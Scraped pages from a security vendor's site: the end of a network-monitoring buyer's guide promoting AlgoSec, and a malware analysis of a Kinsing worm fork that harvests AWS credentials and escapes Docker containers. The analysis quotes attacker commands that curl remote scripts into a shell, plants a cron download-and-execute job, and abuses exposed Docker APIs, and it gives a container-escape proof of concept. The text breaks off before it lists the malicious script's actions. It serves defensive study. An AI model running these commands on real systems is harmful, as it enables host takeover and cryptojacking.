straightforward task. Most organizations will need to rely on expert support to assist with implementation, troubleshooting, and ongoing maintenance. Some vendors provide better technical support to customers than others, and this difference is often reflected in the price. Some organizations work with managed service providers who can offset some of their support and documentation needs by providing on-demand expertise when needed. Pricing structures that work for you Different vendors have different pricing structures. When comparing network monitoring tools, consider the total cost of ownership including licensing fees, hardware requirements, and any additional costs for support or updates. Certain usage models will fit your organization’s needs better than others, and you’ll have to document them carefully to avoid overpaying. Compliance and reporting capabilities If you plan on meeting compliance requirements for your organization, you will need a network security monitoring tool that can generate the necessary reports and logs to meet these standards. Every set of standards is different, but many reputable vendors offer solutions for meeting specific compliance criteria. Find out if your network security monitoring vendor supports compliance standards like PCI DSS, HIPAA, and NIST. A good reputation for customer success Research the reputation and track record of every vendor you could potentially work with. Every vendor will tell you that they are the best – ask for evidence to back up their claims. Vendors with high renewal rates are much more likely to provide you with valuable security technology than lower-priced competitors with a significant amount of customer churn. Pay close attention to reviews and testimonials from independent, trustworthy sources. Compatibility with network infrastructure Your network security monitoring tool must be compatible with the entirety of your network infrastructure. At the most basic level, it must integrate with your hardware fleet of routers, switches, and endpoint devices. If you use devices with non-compatible operating systems, you risk introducing blind spots into your security posture. For the best results, you must enjoy in-depth observability for every hardware and software asset in your network, from the physical layer to the application layer. Regular updates and maintenance Updates are essential to keep security tools effective against evolving threats. Check the update frequency of any monitoring tool you consider implementing and look for the specific security vulnerabilities addressed in those updates. If there is a significant delay between the public announcement of new vulnerabilities and the corresponding security patch, your monitoring tools may be vulnerable during that period of time. 9 Best Network Security Monitoring Providers for Identifying Cybersecurity Threats 1. AlgoSec AlgoSec is a network security policy management solution that helps organizations automate and orchestrate network security policies. It keeps firewall rules , routers, and other security devices configured correctly, ensuring network assets are secured properly. AlgoSec protects organizations from misconfigurations that can lead to malware, ransomware, and phishing attacks, and gives security teams the ability to proactively simulate changes to their IT infrastructure. 2. SolarWinds SolarWinds offers a range of network management and monitoring solutions, including network security monitoring tools that detect changes to security policies and traffic flows. It provides tools for network visibility and helps identify and respond to security incidents. However, SolarWinds can be difficult for some organizations to deploy because customers must purchase additional on-premises hardware. 3. Security Onion Security Onion is an open-source Linux distribution designed for network security monitoring. It integrates multiple monitoring tools like Snort, Suricata, Bro, and others into a single platform, making it easier to set up and manage a comprehensive network security monitoring solution. As an open-source option, it is one of the most cost-effective solutions available on the market, but may require additional development resources to customize effectively for your organization’s needs. 4. ELK Stack Elastic ELK Stack is a combination of three open-source tools: Elasticsearch, Logstash, and Kibana. It’s commonly used for log data and event analysis. You can use it to centralize logs, perform real-time analysis, and create dashboards for network security monitoring. The toolset provides high-quality correlation through large data sets and provides security teams with significant opportunities to improve security and network performance using automation. 5. Cisco Stealthwatch Cisco Stealthwatch is a commercial network traffic analysis and monitoring solution. It uses NetFlow and other data sources to detect and respond to security threats, monitor network behavior, and provide visibility into your network traffic. It’s a highly effective solution for conducting network traffic analysis, allowing security analysts to identify threats that have infiltrated network assets before they get a chance to do serious damage. 6. Wireshark Wireshark is a widely-used open-source packet analyzer that allows you to capture and analyze network traffic in real-time. It can help you identify and troubleshoot network issues and is a valuable tool for security analysts. Unlike other entries on this list, it is not a fully-featured monitoring platform that collects and analyzes data at scale – it focuses on providing deep visibility into specific data flows one at a time. 7. Snort Snort is an open-source intrusion detection system (IDS) and intrusion prevention system (IPS) that can monitor network traffic for signs of suspicious or malicious activity. It’s highly customizable and has a large community of users and contributors. It supports customized rulesets and is easy to use. Snort is widely compatible with other security technologies, allowing users to feed signature updates and add logging capabilities to its basic functionality very easily. However, it’s an older technology that doesn’t natively support some modern features users will expect it to. 8. Suricata Suricata is another open-source IDS/IPS tool that can analyze network traffic for threats. It offers high-performance features and supports rules compatible with Snort, making it a good alternative. Suricata was developed more recently than Snort, which means it supports modern workflow features like multithreading and file extraction. Unlike Snort, Suricata supports application-layer detection rules and can identify traffic on non-standard ports based on the traffic protocol. 9. Zeek (formerly Bro) Zeek is an open-source network analysis framework that focuses on providing detailed insights into network activity. It can help you detect and analyze potential security incidents and is often used alongside other NSM tools. This tool helps security analysts categorize and model network traffic by protocol, making it easier to inspect large volumes of data. Like Suricata, it runs on the application layer and can differentiate between protocols. Essential Network Monitoring Features Traffic Analysis The ability to capture, analyze, and decode network traffic in real-time is a basic functionality all network security monitoring tools should share. Ideally, it should also include support for various network protocols and allow users to categorize traffic based on those categories. Alerts and Notifications Reliable alerts and notifications for suspicious network activity, enabling timely response to security threats. To avoid overwhelming analysts with data and contributing to alert fatigue, these notifications should consolidate data with other tools in your security tech stack. Log Management Your network monitoring tool should contribute to centralized log management through network devices, apps, and security sensors for easy correlation and analysis. This is best achieved by integrating a SIEM platform into your tech stack, but you may not wish to store all of your network’s logs on the SIEM, because of the added expense. Threat Detection Unlike regular network traffic monitoring, network security monitoring focuses on indicators of compromise in network activity. Your tool should utilize a combination of signature-based detection, anomaly detection, and behavioral analysis to identify potential security threats. Incident Response Support Your network monitoring solution should facilitate the investigation of security incidents by providing contextual information, historical data, and forensic capabilities. It may correlate detected security events so that analysts can conduct investigations more rapidly, and improve security outcomes by reducing false positives. Network Visibility Best-in-class network security monitoring tools offer insights into network traffic patterns, device interactions, and potential blind spots to enhance network monitoring and troubleshooting. To do this, they must connect with every asset on the network and successfully observe data transfers between assets. Integration No single security tool can be trusted to do everything on its own. Your network security monitoring platform must integrate with other security solutions, such as firewalls, intrusion detection/prevention systems (IDS/IPS), and SIEM platforms to create a comprehensive security ecosystem. If one tool fails to detect malicious activity, another may succeed. Customization No two organizations are the same. The best network monitoring solutions allow users to customize rules, alerts, and policies to align with specific security requirements and network environments. These customizations help security teams reduce alert fatigue and focus their efforts on the most important data traffic flows on the network. Advanced Features for Identifying Vulnerabilities & Weaknesses Threat Intelligence Integration Threat intelligence feeds enhance threat detection and response capabilities by providing in-depth information about the tactics, techniques, and procedures used by threat actors. These feeds update constantly to reflect the latest information on cybercriminal activities so analysts always have the latest data. Forensic Capabilities Detailed data and forensic tools provide in-depth analysis of security breaches and related incidents, allowing analysts to attribute attacks to hackers and discover the extent of cyberattacks. With retroactive forensics, investigators can include historical network data and look for evidence of compromise in the past. Automated Response Automated responses to security threats can isolate affected devices or modify firewall rules the moment malicious behavior is detected. Automated detection and response workflows must be carefully configured to avoid business disruptions stemming from misconfigured algorithms repeatedly denying legitimate traffic. Application-level Visibility Some network security monitoring tools can identify and classify network traffic by applications and services , enabling granular control and monitoring. This makes it easier for analysts to categorize traffic based on its protocol, which can streamline investigations into attacks that take place on the application layer. Cloud and Virtual Network Support Cloud-enabled organizations need monitoring capabilities that support cloud environments and virtualized networks. Without visibility into these parts of the hybrid network, security vulnerabilities may go unnoticed. Cloud-native network monitoring tools must include data on public and private cloud instances as well as containerized assets. Machine Learning and AI Advanced machine learning and artificial intelligence algorithms can improve threat detection accuracy and reduce false positives. These features often work by examining large-scale network traffic data and identifying patterns within the dataset. Different vendors have different AI models and varying levels of competence with emerging AI technology. User and Entity Behavior Analytics (UEBA) UEBA platforms monitor asset behaviors to detect insider threats and compromised accounts. This advanced feature allows analysts to assign dynamic risk scores to authenticated users and assets, triggering alerts when their activities deviate too far from their established routine. Threat Hunting Tools Network monitoring tools can provide extra features and workflows for proactive threat hunting and security analysis. These tools may match observed behaviors with known indicators of compromise, or match observed traffic patterns with the tactics, techniques, and procedures of known threat actors. AlgoSec: The Preferred Network Security Monitoring Solution AlgoSec has earned an impressive reputation for its network security policy management capabilities. The platform empowers security analysts and IT administrators to manage and optimize network security policies effectively. It includes comprehensive firewall policy and change management capabilities along with comprehensive solutions for automating application connectivity across the hybrid network. Here are some reasons why IT leaders choose AlgoSec as their preferred network security policy management solution: Policy Optimsization: AlgoSec can analyze firewall rules and network security policies to identify redundant or conflicting rules, helping organizations optimize their security posture and improve rule efficiency. Change Management: It offers tools for tracking and managing changes to firewall and network data policies, ensuring that changes are made in a controlled and compliant manner. Risk Assessment: AlgoSec can assess the potential security risks associated with firewall rule changes before they are implemented, helping organizations make informed decisions. Compliance Reporting: It provides reports and dashboards to assist with compliance audits, making it easier to demonstrate regulatory compliance to regulators. Automation: AlgoSec offers automation capabilities to streamline policy management tasks, reducing the risk of human error and improving operational efficiency. Visibility: It provides visibility into network traffic and policy changes, helping security teams monitor and respond to potential security incidents. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

  • AWS best practices - AlgoSec

    AWS best practices WhitePaper Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

  • AlgoSec | Kinsing Punk: An Epic Escape From Docker Containers

    We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon to execute a legitimate alpine image with the following parameters: –rm switch will cause Docker to automatically remove the container when it exits -v /:/mnt is a bind mount parameter that instructs Docker runtime to mount the host’s root directory / within the container as /mnt chroot /mnt will change the root directory for the current running process into /mnt , which corresponds to the root directory / of the host a malicious script to be downloaded and executed Escaping From the Docker Container The malicious script downloaded and executed within alpine container first checks if the user’s crontab — a special configuration file that specifies shell commands to run periodically on a given schedule — contains a string “129[.]211[.]98[.]236” : crontab -l | grep -e “129[.]211[.]98[.]236” | grep -v grep If it does not contain such string, the script will set up a new cron job with: echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * $LDR http[:]//129[.]211[.]98[.]236/xmr/mo/mo.jpg | bash; crontab -r > /dev/null 2>&1” ) | crontab – The code snippet above will suppress the no crontab for username message, and create a new scheduled task to be executed every minute . The scheduled task consists of 2 parts: to download and execute the malicious script and to delete all scheduled tasks from the crontab . This will effectively execute the scheduled task only once, with a one minute delay. After that, the container image quits. There are two important moments associated with this trick: as the Docker container’s root directory was mapped to the host’s root directory / , any task scheduled inside the container will be automatically scheduled in the host’s root crontab as Docker daemon runs as root, a remote non-root user that follows such steps will create a task that is scheduled in the root’s crontab , to be executed as root Building PoC To test this trick in action, let’s create a shell script that prints “123” into a file _123.txt located in the root directory / . echo “setup cron” ( crontab -l 2>/dev/null echo “* * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1” ) | crontab – Next, let’s pass this script encoded in base64 format to the Docker daemon running on the local host: docker -H tcp://127.0.0.1:2375 run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “echo ‘[OUR_BASE_64_ENCODED_SCRIPT]’ | base64 -d | bash” Upon execution of this command, the alpine image starts and quits. This can be confirmed with the empty list of running containers: $ docker -H tcp://127.0.0.1:2375 ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES An important question now is if the crontab job was created inside the (now destroyed) docker container or on the host? If we check the root’s crontab on the host, it will tell us that the task was scheduled for the host’s root, to be run on the host: $ sudo crontab -l * * * * echo 123>/_123.txt; crontab -r > /dev/null 2>&1 A minute later, the file _123.txt shows up in the host’s root directory, and the scheduled entry disappears from the root’s crontab on the host: $ sudo crontab -l no crontab for root This simple exercise proves that while the malware executes the malicious script inside the spawned container, insulated from the host, the actual task it schedules is created and then executed on the host. By using the cron job trick, the malware manipulates the Docker daemon to execute malware directly on the host! Malicious Script Upon escaping from container to be executed directly on a remote compromised host, the malicious script will perform the following actions: Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

bottom of page